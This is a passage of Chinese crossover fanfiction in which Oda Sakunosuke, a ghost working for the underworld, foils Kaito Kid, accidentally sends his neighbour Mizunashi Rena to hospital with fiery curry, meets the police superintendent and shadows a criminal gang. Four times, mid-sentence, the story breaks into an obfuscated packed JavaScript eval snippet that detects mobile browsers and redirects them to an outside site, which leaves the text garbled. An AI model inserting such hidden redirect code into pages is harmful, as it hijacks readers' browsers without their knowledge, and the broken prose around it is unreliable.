“基德还在!所有人不要慌!保持镇静!” “小野,你听好,一定要抓紧基德千万不要放手!” “嘶!不要踩我脚!” 待到烟雾散去,织田作之助顺着手中抓着的胳膊看过去,被他抓住的人竟然变成了一位警官! “基德跑出去了!” 被织田作抓着的人大喊道,指着门口的方向示意大家往那边看。 一道白色的斗篷从门口掠过,看起来就像是基德已经溜走了一样。 “快追!” 顿时,围在织田作之助身边的人“呼啦”一下涌了出去。 被他抓住了手腕的警官也准备往外跑,扯了两下没能将手从织田作的手下扯出后,不耐烦地说:“基德都要跑掉了,你抓着我干什么?” 织田作之助面无表情:“基德还在这里。” 他将人拉近自己,问:“米原小姐在哪里?” “你在说什么啊?”伪装成警官的怪盗基德不信邪地继续装傻。 然后他就感受到对方的手渐渐收紧,瞬间有种手腕即将被捏碎的错觉。 “停停停!我说行了吧,那位解说员小姐正在员工宿舍睡大觉!” 最后几个字几乎是喊出来的,魔术师的手可是生命一般的存在,怪盗基德可不想因此失去半条命。 织田作之助松手。 得到了自由的怪盗基德反而不逃了,好奇地问:“话说大叔你是怎么看穿我的伪装的?” 织田作拿出手机,准备打给保洁的一位阿姨,请她帮忙确认一下米原樱子的情况。 听到怪盗基德的问题,他说:“用眼睛。” “……” “我不是在问这个,我想问的是…算了,大叔你这么在意那位女士,难道你们是这个?”怪盗基德勾了勾小指,坏笑道。 织田作之助没想到怪盗基德的性格这么活泼,他愣了愣,说:“铃木先生支付了薪酬,我有责任保护大家和珠宝的安全。” 起初他以为怪盗基德是个未达目的不择手段的小偷,可短暂的交手后,他意识到对方比起大盗,更像个肆意跳脱的高中生。 就像安吾说的那样,‘织田作先生看人总是不准’。 “也就是说大叔你依然要妨碍我的工作喽?”怪盗基德尾音上翘,给人一种他在开玩笑的俏皮感。 织田作之助只是静静地看着他。 虽然对方什么话都没有说,但怪盗基德还是从中读出了威胁。 两人僵持着,门外突然传来一阵急促的脚步声。 江户川柯南冲了进来,见到怪盗基德之后,脸上露出“果然如此”的神情。 “怪盗基德!”他大喊着。 只见他蹲下身在鞋上拧了两下,随后那只看起来平平无奇的鞋子竟发出刺目的电光,同时一颗足球从他的腰带扣中喷射而出。 发光的鞋子精准踢中腰带吐出的足球,化作一道炫目的流星射向怪盗基德。 遗憾的是怪盗基德躲开了。 这一下要是被踢中,骨折都是比较轻的,严重一点会让人直接陷入昏迷。 但厅内的展柜没有基德那样灵活的身手。 防弹玻璃被提前踩点的基德做过手脚,如今被足球击中,瞬间碎裂开来。 目睹了全程的织田作之助并不知道防弹玻璃被人动作手脚:“……” 这位柯南君,是异能者? 眼看着怪盗基德的手就要触上展柜中的珠宝,织田作动了起来。 曾经的第一杀手认真起来,初出茅庐不久的第二代怪盗基德——黑羽快斗根本不是他的对手。 珠宝还没在手里捂热,就被人夺了回去。 见状,黑羽快斗只好作罢。 毕竟一旁还有个虎视眈眈的大侦探盯着自己。 他抛出几枚闪光弹,趁着两人失去视野,一个闪身消失在通风管道里。 离开前,他甚至有种仍然被那位安保先生注视着的错觉。 铃木大叔到底上哪找的这些人? 京极真算一个,小野柳吉算一个,这两人他再也不想见到! “哇,小野叔叔把怪盗基德赶跑了!”江户川柯南欢呼。 织田作之助看向他:“柯南君也很厉害。” 在他看来,基德逃跑的原因有很大一部分是因为柯南君的足球。 “说起来,柯南君是异能者吗?” “诶,什么是异能者?”江户川柯南装傻。 异能者是横滨那边都市传说般的存在,只有少数高层和相关人士知晓。 无论如何,都不该是他这个小孩子可以接触到的机密情报。 他的偶像江户川乱步就是横滨赫赫有名的异能侦探。 可惜在身体变小之后,为了避免身份暴露,他一直不敢靠近对方。 小野先生为什么会知道异能者的存在? “这样啊,没什么。” 织田作之助岔开话题,“好了,接下来的事情就交给大人吧。” —— “哈哈哈,老夫果然没有信任错人!” 铃木次郎吉笑声爽朗,织田作之助和江户川柯南分别站在他的左右两边,作为此次作战的功臣接受大家的注目礼。 顺利完成工作的织田作之助拒绝了铃木次郎吉的长期聘用,领取完薪酬后趁着众人都在庆祝展览顺利举行时偷偷离开。 他走在路上,脑海中回忆起这些天的经历。 米原小姐的嫌疑可以排除了。 柯南虽然只是个孩子,但他身上的疑点太多,还需要继续观察。 在那之前,先找个房子吧。 之前都住在铃木博物馆的员工宿舍,现在工作结束了,自然得搬离那里。 织田作的行李不多,大部分都是来到现世后才买的,用一个简易背包就能全部带走。 他提前联系了房屋中介,将租房要求告诉对方后,很快便收到了看房的短信。 “根据小野先生您的要求,这是我们提前梳理出的房屋信息。”中介行川感激地说,“说真的,交通便利但不嘈杂,价格偏低又宽敞的房子,大部分都发生过命案,你能不在意这一点真是太感谢了。” 接过行川递过来的房屋信息,织田作简单翻看了一下,看到整整两页都是凶宅后,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324527|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他也忍不住微微睁大眼睛。 这程度,已经远超横滨了吧。 难道是那位“死神”的手笔? 他神情严肃起来,要真是这样的话,必须尽快将对方找出来,送到地府接受管制。 花了半天时间看房,最终织田作选中了一间位于杯户町的公寓。 交完保证金和接下来三个月的租金,他带着临时采购的各种生活用品大包小包地搬进公寓。 房间很宽敞,据中介说,这间公寓的前一任主人是在客厅里被闯空门的强盗失手杀害。因为屋主时常请人打扫,所以房间里并没有什么异味。 简单打扫了一下,他将垃圾打包好放在玄关那里。 做完这一切后,天已经黑了。 摸了摸肚子,虽然他是鬼魂不用进食,但脑海中不由自主地回忆起辣味咖喱的麻辣鲜香。 ‘来都来了,尝尝也没关系吧,这也是为了更好地伪装成活人。’ 出门采购食材,再次回到公寓,已经接近9点钟。 将蔬菜清洗好切成小块,鸡肉提前炖煮到软烂,最后把所有食材倒进调好味道的辣咖喱汤中。 原本阴冷晦暗的公寓飘出阵阵香味。 “咚!嘭!” 隔壁公寓突然传来巨大的声响,织田作之助下意识起身。 他并不信奉独善其身这一传统理念,因此在听到隔壁除了两声巨响后再无其他动静后,他果断来到隔壁公寓门口敲门。 “你好,我是隔壁新搬来的小野,请问刚刚是发生了什么吗?” 门内依旧什么声音都没有。 织田作再次抬手敲门,刚敲了一下,门缓缓打开了。 门内的女人有着一双丹凤眼,扎着低低的马尾,刚才的动静应该是她不小心摔倒发出的,因为她一直在揉搓右手手肘的位置。 水无怜奈看着门外身材高大的红棕发男人:“抱歉吵到您了,刚刚在收拾房间,突然犯低血糖,一不小心就把柜子打翻了。” 她很好地演绎了一个独居女性对陌生异性的谨慎与防备。 但刚刚发生的一切,其实都是为了制造与对方接触的机会,就算这位小野柳吉不主动过来,她也会继续找机会上门。 ‘小野柳吉,私家侦探,刚完成了铃木财团的委托任务,紧接着就通过中介住到了隔壁的305室。’ ‘身份不明,目的不详,甚至连姓名都可能是随便编造的。’ 刚完成一项秘密暗杀任务的水无怜奈一回家就发现隔壁搬来了新的住户。 表面是日卖电视台主持人的她,实际上是CIA派入某国际犯罪组织的潜入搜查官,代号“基尔”。 身份的特殊让她无法忽视隔壁神秘的新邻居,于是制造了这次的意外。 “需要帮忙吗?”织田作之助问。 水无怜奈犹豫片刻:“如果可以的话,能麻烦您帮忙把柜子搬起来吗?” “当然可以,抱歉打扰了。”织田作之助得到主人的允许后,换鞋进屋。 他很清楚在社会上,一个成年陌生男性对女性的威胁,因此进门后没有东张西望,轻松将柜子扶正后便要离开。 正要出门时。 “咕——” 织田作回头,看到邻居捂着独自,脸上浮现出不自然的红晕。 水无怜奈害羞道:“因为才结束工作回家,还没来得及吃晚饭,让您见笑了。” 织田作想到了锅里的咖喱,他习惯性地多煮了一些。 他看向邻居,露出一个自以为和煦的笑容。 “我煮了咖喱,不介意的话,要来吃一点吗?” 9.第 9 章 刚打扫完的公寓干净明亮,一进门就能闻到咖喱的香味。 眼前的一切,和水无怜奈认知里的独居男青年形象相去甚远。 “抱歉打扰了。” 她穿着自己的拖鞋,跟在织田作之助身后进屋。 对方似乎真的只是想和她分享美味的咖喱,一进门就直奔料理台将煮好的咖喱端上桌。用提前洗好沥干的盘子盛上颗粒分明的米饭,再浇上两大勺咖喱。 “不必客气,请用。” 织田作之助说完,自顾自地吃了起来。 那迫不及待的样子,像是饿了好几天的人,终于吃上了一顿饱饭。 显然,比起自己,这位小野柳吉先生对咖喱更感兴趣。 水无怜奈拨动挡在眼前的碎发,看着放在面前的咖喱。米饭和咖喱都是从同一口锅里盛出来的,餐具上也没有特殊的记号,下毒的概率很小。 一晚上只吃了几口红豆面包的胃在香味的刺激下再次发出抗议。 来都来了。 她拿起勺子,挖了一大勺混合着鸡肉和酱汁的米饭,送进嘴里。 首先感受到的是米饭的香甜,然后是软烂入味的鸡肉,最后是—— 辛辣的酱汁逐渐占领口腔,随着吞咽的动作,一路下滑到胃部。 火辣辣的痛觉来得缓慢,当她意识到这一点时,已经来不及了。 这对她空荡且不怎么健康的胃来说无疑是致命一击。 “咳咳咳!”水无怜奈放下勺子,端起加了冰块的水就直接一饮而尽。 见到这一幕,总觉得似乎忘了什么的织田作之助才终于想起,他在咖喱中加入了致死量的辣椒粉。 而且是那种闻起来正常,一入口就能辣得人大汗淋漓的那种魔鬼辣椒粉。 眼看着邻居的脸在激辣咖喱的进攻下全线飘红,一大壶水也快被对方喝完,捂着肚子一副身重剧毒即将晕厥的样子。 织田作之助意识到事情朝着他从未料想的方向发展时,场面已经变得不可控了。 —— 太宰和安吾偶尔也会因为好奇点上一份激辣咖喱,两人虽然都被辣得浑身冒汗,但还是会坚持吃完,然后吐槽他那奇特的品味。 幸介他们也会偷偷进行辣咖喱挑战,五个人吃一份辣咖喱,比赛谁吃得多。 包括老板有时也会为了调整口味,单独做一份辣咖喱当晚餐。 以上众人都没有出现过邻居小姐这样的症状。 所以在今晚之前的织田作之助理所当然的认为吃辣咖喱不会死人。 拨打急救电话,等到救护车赶到时,将近乎昏迷的邻居小姐抱上车,作为始作俑者,织田作之助跟着在车上坐下。 他恍然:原来辣咖喱也能杀人。 车上,医生和护士检查着水无怜奈的身体状况,坐在织田作旁边的护士询问:“先生你好,请问您和这位女士是什么关系?” “邻居。” 听到两人只是邻居,护士稍稍惊讶了一下,起初她还以为两人会是情侣或是夫妻的关系,想必两位一定是关系很好的邻居吧。 毕竟一般的邻居很少会关心隔壁发生了什么,就像上个月发生的连环杀人案,尸体在公寓里放了快一周,住在周围的邻居都没发现,最后还是几个小学生发现后报了警。 护士继续问:“请问您是什么时候发现这位女士昏倒的呢?” 织田作之助:“大概半小时前。” 想了想,他又补充道:“在那之前吃了辣咖喱。” 一旁检查的医生恍然:“应该是空腹吃太辣导致胃黏膜受到刺激,才会出现疼痛的症状。” 她观察了一下水无怜奈的状况,继续说:“痛到近乎晕厥,现在的年轻人真是不爱惜自己的身体。” 导致别人空腹吃辣的罪魁祸首、织田作之助:“抱歉……辣咖喱是我请她吃的。” 医生:“……” 护士:“……” 不是,哪有人请美女吃饭,是吃激辣咖喱啊?! —— 水无怜奈恢复意识时,她已经躺在医院的病床上了。 昏迷前,她似乎听到了医生和护士关于现代男青年求偶方式的探讨。 鼻尖萦绕着消毒水的味道,她抬了抬手,发现左手上扎着输液的针头,胃部的绞痛有所缓解。 右手撑在床沿上起身,阵阵晕眩袭来,开灯后,她注意到时间已经是第二天凌晨五点多。 这下可真是糟糕了啊。 7点有一个采访任务,中午要去电视台参加会议,下午有帝丹小学的公益活动,晚上9点还有组织的接头任务。 “吱呀” 病房门被人推开,水无怜奈立马警觉地看向门口。 是昨天那位热心的“邻居”。 织田作之助将带来的早餐放在床头的置物柜上,熟练地打开床上桌板,将热粥盛出来放上去。 “真的很抱歉。”他没想到辣咖喱竟然会造成这样严重的后果,这下真是好心办了坏事。 对方语气真诚,听起来不像在撒谎。但水无怜奈可不是容易轻信他人的性格。 毕竟在组织里,把人送进医院,再通过嘘寒问暖来拉近距离,利用吊桥效应获取信任的案例又不是没有出现过。 她笑得勉强:“这不全是您的错,因为工作,我的生活本就不规律,突然间受到刺激,也算是身体在向我预警。” 床头的患者信息上写着“水无怜奈”,想必面前的人已经知道了她电视台主持人的身份。 作为公众人物,此刻她的形象必须是善解人意的。 “不过,能请您帮我个忙吗?”水无怜奈期待地看向织田作之助。 织田作:“请说,如果能帮上忙的话我一定尽力。” 几分钟后,织田作之助扶着换回便装的水无怜奈办理出院后,将人送回了家。 他虽然不赞同在治疗结束前提前出院,但邻居今天还有工作,眼看着时间快到了,临时请假又会给其他同事带来困扰,只能配合着提供帮助。 将人送到家门口,再次确认对方不需要自己陪护后,织田作之助又一次为昨晚的意外表达了歉意。 水无怜奈笑着打趣:“下次请务必提前告知晚餐的辣度。” 这种开玩笑的方式,能立即拉近她和对方的距离。 如果对方真的带着目的来接近她,这样的回答既能放松对方的警惕,也能诱导对方提前进入下一步计划。 说完,她将门打开,一阵风吹来,淡淡的花香伴随着铁锈味从房间里飘出。 因为身体还虚弱着,嗅觉有所减弱,水无怜奈并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343328|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻到其中的铁锈味。 只有织田作之助闻到了。 他转头,看着邻居神色如常地进入房间,默默回到隔壁自己的公寓内。 是血腥味。 很淡,应该是沾到了衣服上后,立刻丢进洗衣机清洗,直到晾干后,才能闻到残留的味道。 织田作之助首先就排除了那是水无怜奈自己受伤流血的选项。 因为根据他的观察,对方不像是受过伤的样子。 邻居是电视台的主持人,听护士小姐们聊天说,似乎邻居经常被安排采访政要,还挺出名的。 这样的工作内容,怎么会接触到血呢? 回到公寓,他发现家里来了一位陌生……鬼。 有着一双猫眼的黑发狱卒在听到声音后回头,朝织田作之助露出一个温暖善意的笑容。 他率先介绍:“渡鸦传信的效率太低,经鬼灯大人审批,从今天起,由我担任你的信使,可以叫我诸伏。” 诸伏景光自我介绍的同时,也在观察这位被鬼灯大人寄予厚望的织田。 他生前是警视厅派往某跨国犯罪组织的卧底,因为身份暴露,为了保全挚友和家人,果断选择结束自己的生命。 唯物主义的他本以为死亡就是终结,没想到竟是另一段旅途的开始。 在卧底期间,他为了尽快获取代号,双手不可避免地沾上了鲜血,所以阎魔大王对他的判决是先服刑再录用。 所谓的服刑,也不过是让他干一些狱卒不愿意干的苦役。如今刑期已满,鬼灯辅佐官在审核完他的生平后,派给他的第一件任务就是信使。 “你好,我是织田,以后请多关照。”织田作之助进屋,“请稍等,我去拿这两天的工作报告。” 来之前鬼灯辅佐官并没有明说织田作之助生前的职业,但能被挑剔的鬼灯大人选中,足以证明对方的能力。 诸伏景光判断,刑警?侦探?或者说,和他一样,是卧底? 很快织田作之助就拿着一个信封出来。 察觉到对方的观察与猜测,他并不在意,一方面他并不担心自己生前的经历被人揭穿,另一方面,他不认为对方能猜到正确答案。 “辛苦了。”将信封交到新任信使手上,织田作之助客套了一句,“要吃辣咖喱吗?” 以工作为重的诸伏景光拒绝了:“多谢,不过我还得回去向鬼灯大人汇报。” 说着,他突然想到鬼灯辅佐官在来之前让帮忙带给织田作之助的话。 “鬼灯大人说休刊的申请驳回,还问稿子的进度怎么样了,要求以后每次汇报工作进度的同时,要附上最新的写稿进度。” 听说织田作之助还同时肩负着地府轶闻的主管一职,等回去地府,找机会把最新的期刊买来看看吧。诸伏景光想到。 时间不早了,他也该回去复命了,于是朝呆立在一旁的织田作之助招呼道:“先走了,下次见。” 织田作:“……好,慢走。” 在听到鬼灯大人亲自催稿那一刻,他已经无暇顾及这位新任信使的去留了。 休刊申请被驳回,还要定期汇报写作进度。 这对他这种灵感型创作者来说无疑是晴天霹雳! 写不出来就是写不出来,硬要他写的话…… 更写不出来了! 10.第 10 章 【此前,关于总监生前的经历,我只能从总监的自述中窥见一二。 如果能通过他人的视角了解总监,或许能获取更多的素材和灵感。】 桌前,织田作之助在催稿的压力下,写出这样一句话后,拿起手机开始搜索“松田阵平”。 网络上关于这位已殉职警官的消息很少,大部分都在夸赞他是一位为了民众牺牲性命的好警官,少部分在惋惜他帅气的容貌。 果然只从网络上并不能找到什么有效的信息。 他往后靠在椅背上,闭上眼睛。 眼前依次浮现出松田、邻居水无小姐、柯南还有新信使诸伏的形象。 松田的稿子大概还需要两三周的时间才能完稿,希望期间不会收到松田本人的催稿。 水无小姐是电视台主持人,但她似乎没有外表展现出的那么无害。 柯南小朋友很聪明,身上的谜团也很多。 诸伏……不知道能不能拜托他帮自己解释几句,缓解自己的写稿压力。 长长地呼出一口气,织田作之助坐直。 总而言之,先联络白马警视总监吧。 无论是“小野柳吉”这个身份的合法化,还是获取松田生前的资料,都需要通过警视厅才能完成。 警视总监可不是他这种小人物说联系就能联系得上的,通过正规的手续肯定不行,于是织田作又操起了老本行。 东京警视厅。 清洁工打扮的织田作之助一层一层地打扫到警视总监办公室外。 他轻敲了两下门,的到里面的人同意后,慢腾腾地推着清洁推车进门。 白马警视总监见来的人是一位从未见过的清洁工大叔,愣了愣,随即就将手放在桌面下的警铃上。 “你是?”他问道。 对方用帽子和胡须遮挡了面部特征,但伪装的手法并不高明,身高应该在一米八五以上,每一次脚步都很轻,是个潜行的高手。 但这种拙劣的伪装是怎么混到他办公室门外的? 白马警视总监自认为手下的刑警们不会放任这样形迹可疑的人上到顶层。 “抱歉,因为不知道该如何联系您,所以采取这样的方式前来。”织田作之助摘下帽子,“我是织田作之助。” 织田作之助? 白马警视总监疑惑了片刻,很快就回忆起了不久前自己做的一场梦。 梦中自称是地府阎魔大王麾下第一辅佐官的鬼灯找到了自己,说他们发现现世有一位未经登记的死神在肆意收割生命,还有一个国际犯罪组织研发了一种能让人逃避死亡的药物,事关重大,他们决定与阳间的公务人员联手,恢复轮回秩序。 梦中的一切都很真实,真实到令他觉得这不像是一场梦。 因为那个国际犯罪组织真实存在,至于未经登记的死神……东京最近的犯罪率和意外死亡率确实有些高的不正常。 可他醒来后,等了好几天,都没有等来鬼灯口中的地府特派员织田作之助。 就在他要把这一切当作梦忘记时,织田作之助出现了。 “那么,织田君,请你先证明自己来自地府。”白马总监醒来第一件事就是派人暗中调查织田作之助的身份。 对方的确是已死之人,死前曾是横滨港口Mafia的底层人员,经常处理一些打扫战场、调解纠纷的脏活累活,就在他们想继续深挖死亡原因时,线索突然都断掉了。 他审视着面前看起来只有二十岁出头的青年。多年从警的阅历告诉他面前的男人不简单。 织田作之助知道对方在怀疑自己,并没有因此感到不快或是难堪。 他想了想,当着白马总监的面解除了活人的伪装。 身体渐渐虚化,清洁工的制服变成狱卒的服饰,象征鬼魂的三角白巾出现在头顶,肤色恢复青白,他轻飘飘地飘了起来。 亡魂的存在令房间内温度下降了不少,织田作吐出一口白气,用来自地狱的声音问:“这样可以吗?” 被阴气冻得下意识抱住双臂的白马总监:“可以了。” “没想到亡灵和地府都是真实存在的。”他感叹,被死亡的气息缠绕的滋味可不好受,这也是他确认对方身份的原因。 “嗯,但这些事请务必对其他人保密,否则会颠覆生者对死亡的认知。” “这一点我当然知道,说吧,需要我们这边提供什么协助。” 既然那次的经历不是梦,那么他曾经和那位鬼灯签署的合作协议也肯定是真的,当时他可是同意了警视厅将无条件提供协助的条款。 对应的,地府派来的人将协助他们调查一些疑难重案。 “因为一些原因,我不能用织田作之助这个身份行动,所以编造了一个小野柳吉的假身份,希望您能帮忙完善身份的信息。” 太宰和安吾都是很聪明的人,一旦被他们发现东京出现了一个名叫织田作之助的人,一定会产生怀疑。 虽然他很想和生前的好友见一面,但生死有别,已是亡魂的他不该去打扰他们的生活。 “这一点当然没问题,但是……”白马总监答应后看向织田作之助,“不用本名行动,但你确认这样的伪装能骗过你想瞒着的那些人吗?” 站在他的角度,不想让生前的家人和朋友受到第二次伤害的想法很正常。 但只是改个名字,然后贴一把廉价的假胡子在下巴上就能瞒过那些熟悉自己的人吗? 织田作之助摸了摸下巴刺棱的胡须,完全没有对自己的伪装产生怀疑。 “难道不行吗?” 白马总监:“……” “先不说这个,还有其他需要我们这边提供的帮助吗?” “我需要那个国际犯罪组织的情报。” “只要情报?” “嗯。” 织田作之助不需要警方的卧底帮助自己加入组织,来自黑暗的他很清楚卧底身份暴露的严重性。 他是已死之人,没必要让生者冒险。 两人的谈话进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349670|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了半小时左右,解决完这些,织田作之助在白马总监一言难尽的表情下恢复“伪装”,慢悠悠地离开了办公室。 离开的时候,他从白马总监那里拿到了一部特制的手机,和总监享有一样的访问权限,但不能发布任何消息和决策,只是方便他们之间的联系和情报共享。 有了手机,织田作就不用向白马总监打听松田的信息了。 毕竟松田生前好像暴揍过警视总监,虽然不知道是不是面前的白马总监,他贸然提起松田的话,有点不太礼貌。 —— 横滨,某大楼地下停车场。 “太宰,有件事我觉得有必要告诉你。”坂口安吾朝姗姗来迟的沙色身影道。 太宰治看着坐在车里的人,表情冷漠,讥讽道:“我猜猜,难道是安吾你患上不治之症要把所有遗产都留给我吗?” 曾经能坐在一起喝酒的两人,如今一见面就是剑拔弩张,都是因为几年前的一场背叛。 在那次的背叛中,他们永远的失去了一位友人。 坂口安吾无视太宰治的挖苦,继续说:“几天前,东京警视厅那边突然开始调查织田作先生的消息。” 果然,当那个熟悉的名字一出,太宰治的表情瞬间冷了下去。 “关于那次的事件,已经被列为绝密资料封存起来,织田作先生的信息也在之前帮你洗白身份时做了一些删减,对方并没有调查出什么有效的信息。” “但是,如果东京警视厅正式发出协助函的话,就算涉及异能者,我们这边也会提供相应的协助。” “目前尚不清楚对方的目的,所以我想委托你调查此事。” “委托?” 冰冷的枪//口抵在坂口安吾的太阳穴上,太宰治面无表情,“你是以什么身份来进行委托?” 涉及织田作之助,坂口安吾这次是独自前来,并没有带身边的两名助理兼保镖。 顶着枪//口,他转头看向太宰治。 “我知道,在你面前我没有资格这样说,但织田作先生不该在死后还遭受这样的调查。” 坂口安吾直面太宰治要杀人的眼神。 “这是我作为织田作先生友人发起的委托。” 太宰治沉默不语,果断扣下扳机。 “嘭!” 一枝娇艳欲滴的玫瑰撞到坂口安吾太阳穴上。 坂口安吾:“……” “我说过,你不配提那个人的名字,也不配做他的朋友,再有下次,就不是玫瑰了。” 太宰治转身离开,空旷的停车场内,只剩下皮鞋踢踏的声音。 听着对方远去的脚步声,坂口安吾握紧方向盘深呼吸。 虽然知道太宰不会在这里要他的命,但刚刚的杀意是真的,如果有机会的话,太宰他…真的会动手。 “委托我接下了。” 此时,已经走远的太宰治突然出声。 说完,他头也不回地走进逃生通道,消失在坂口安吾的视线中。 11.第 11 章 【织田工作日志:黑衣组织,成员以酒名为代号,行踪神秘、手段残忍,其涉及领域广泛,包括但不限于政界、财阀、医药、军火等领域都有组织的影子,虽然组织成员行动成迷,但他们行动时,总会着黑色系大衣,如果在街上遇到,一定能分辨出来。】 根据白马总监给的资料,织田作之助大致确定了一个调查方向。 总觉得这个神秘的黑衣组织,有点像活跃在横滨以外的都市Mafia。 难道是他之前太专注于黑手党的工作,才忽视了这个活跃了百年有余的组织吗? 将以往的记忆搜寻了个遍,也没能查找到任何与黑衣组织和酒名代号相关的人物。 在人群中寻找那么几个特殊的人无异于大海捞针,但在给这些人加上“黑衣、阴暗、双手血腥的犯罪者”等等标签后,就容易得多了。 经过调查,织田作之助锁定了两个人。 在他用魂体巡街时发现,有两人形迹可疑,穿着职业黑西装,衣摆上沾染了星星点点的血迹,腰间隆起,看形状应该是手//枪。 其中一人正打着电话,问这次的货到手没有,另一个人则是警惕地观察四周的环境。 非常可疑。 为了不打草惊蛇,织田作之助跟踪了他们。 “那边都清理干净了吗?” 打完电话的黑西装男人拍着一旁鬼鬼祟祟查看巷子口有没有人路过的同伴。 那人仿佛惊弓之鸟般惊了一跳,深呼吸后才说:“清…清理干净了。” “既然清理干净了你还紧张什么?你的代号不会是走后门拿到的吧。” 见对方完全因之前的意外失了阵脚,代号秃鹫的西装男皱眉打量对方,他只知道这次任务的搭档刚获得代号不久,没想到仅仅是杀了个人,这小子就被吓破了胆一样。 他们所在的组织是一个名为“动物园”的国际犯罪组织,高级成员会以动物名为代号。组织以世界各地的珍稀宝石为目标,目的是寻找到一颗名为潘多拉的魔石。 据说那是颗能让人起死回生、长生不老的魔法石,辨别它的方法就是将宝石放在月光下,如果发出红光,那就是潘多拉。 这次的目标就是一颗被称为“人鱼之泪”的蓝宝石,只是没想到刚准备潜进屋,就被一个路过的酒鬼发现了。 为了不暴露,他们只好将醉鬼灭口,并伪造出抢劫的现场。 “抱歉。”被质疑的人小声致歉,连忙平复下心情以免惹怒面前这位脾气不太好的前辈。 他的代号是游隼,在组织里的定位是技术人员。 据探查,目标家中保存“人鱼之泪”的房间全由一台电脑控制,这也是他被叫来的原因。 “算了,接下来老实跟着我。”秃鹫不耐烦地瞪了他一眼,“还好这次行动除了你还有一个代号成员会赶来配合,不然真不知道任务失败后回去怎么和老大交代。” ‘代号、任务、清理’ 对方还穿着黑西装。 织田作之助提取出两人对话中的关键词,基本上可以确定跟踪的这两人有极大可能就是那个神秘的黑衣组织成员了。 他飘在半空中,慢悠悠地跟着两人。 该怎么获取更多情报呢? 只是把两人抓起来的话,他们肯定会反抗,甚至会拒绝提供情报。 也不能把他们送去地府让鬼灯辅佐官直接提取记忆,因为活人被送到地府后就等于死亡。 那样的话,他会被认定为违反工作纪律,擅自扰乱生死轮回的规则。 当然黑衣组织中那些服用药物逃避死亡的人不算,因为这次外派的目的就是将他们抓回地府接受命运的审判。 “另一位代号成员。”这时,被训斥的游隼问,“那位前辈为什么不和我们一起出发呢?” 秃鹫冷哼一声:“因为他和我们不一样。” 虽说组织里的高级成员都以动物名为代号,但也有着不同的派系。 就像他和游隼,属于飞禽。 那个还没现身的家伙,是条水生物。 “不一样?”游隼没听明白。 “新人,等你多做几次任务就知道为什么不一样了。”秃鹫看着游隼冷笑,说着,他拿出手机,“麻雀说这次来的是条鱼,红发蓝眼,应该是个外国佬,待会你多注意一下。” 游隼听完连连点头。 将两人对话听完,织田作之助拿出地府专用的手机,用屏幕反光看了看自己的外貌。 红棕色的头发也能算红发,海蓝色的眼睛也能叫做蓝眼,就是对方说的“是条鱼”不太明白。 但能推理出面前的两人都没见过第三个成员。 或许可以借用这位第三位成员的身份,从两人的口中套些情报。 这样想着,织田作之助记下两人的气息后,向着远处飘去。 既然要借用别人的身份,那他得先找到那个人,然后让对方在这期间不能出现。 红发蓝眼,像鱼一样的外国男人。 按照这个外貌特征,织田作之助很快便找到了目标。 那人有着一头鲜艳的红发,过长的头发被他用一根皮筋绑在脑后,蓝色的眼睛有些浑浊,穿着黑色的皮衣和破洞牛仔裤。 乍一看和太宰之前吐槽过的,曾在横滨盛行的嘻哈流□□的打扮有些相似。 对方身上带着很浓的血腥味。 唯一不符合那人外貌描述的点就是,这人看起来并不像鱼。 时间不等人,织田作不再深究“是条鱼”的含义,在半空中渐渐显露出身形,在对方察觉到危险前雷霆出击将人打晕后,把他绑起来塞进路边的垃圾桶里。 将红发男的皮衣扒下来套在自己身上,织田作拿起他的通讯器沿着另外两人一路留下的气息跟了上去。 再次来到任务目标的别墅外,秃鹫让游隼放风,自己则是三两下就越过两米高的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365925|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围墙,翻进院子内。 “人鱼之泪”是这家的主人从祖上继承下来的遗产,一心钻研人工智能的后代为这颗传承了数代的传家宝打造了一间高科技密室。 进入别墅不过是这次任务最简单的一环,最后如何破解那间密室的机关全看游隼的本事了。 秃鹫确认屋内无人后,在游隼的技术指导下将外围的监控系统破坏,随后将门打开让游隼进屋。 